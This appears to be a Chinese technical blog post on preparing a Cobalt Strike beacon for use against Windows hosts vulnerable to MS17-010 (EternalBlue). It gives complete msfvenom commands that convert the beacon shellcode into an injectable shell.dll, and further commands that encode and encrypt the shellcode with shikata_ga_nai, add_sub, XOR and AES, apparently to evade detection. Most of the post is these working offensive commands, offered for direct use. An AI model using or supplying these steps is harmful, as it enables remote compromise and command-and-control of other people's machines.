Cobalt Strike DLL用于永恒之蓝注入

1、原因:

  我们在对存在MS17010的漏洞主机进⾏DLL注⼊的时候,⼀般都是⽤的Meataploit的msf venom⽣成出来的,所以每次上线之 后基本都是要经过相对⽐较繁琐的操作之后转到Cobalt Strike去,这样就会显得⾮常⿇烦。所以可以使⽤metasploit的msf venom来把Cobalt Strike⽣成的bin转成DLL。

2、具体操作:

  先用Cobalt Strike建立一个bin文件

  生成文件后,打开msf,用命令将这个bin文件转化为dll文件

  转化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll

  此时,这个 shell.dll ,就能⽤于在进⾏永恒之蓝的漏洞的dll注⼊了。

3、转化命令的更多了解

  msfvenom命令参数⾮常多,还有就是要注意你的shellcode是x64还是x86,那么你在⽤msfvenom的时进⾏变换。 其实转化⽅法⼀共分两种:

   ①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll

   ②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -

 例子:

    cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -

  注意:

  Error: Initialization vector is missing

  解决⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.

  msfvenom使⽤aes256加密时,--encrypt-key长度 为32,--encrypt-iv长度为16位

  此外我们也可以用msfvenom -h 查看参数

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值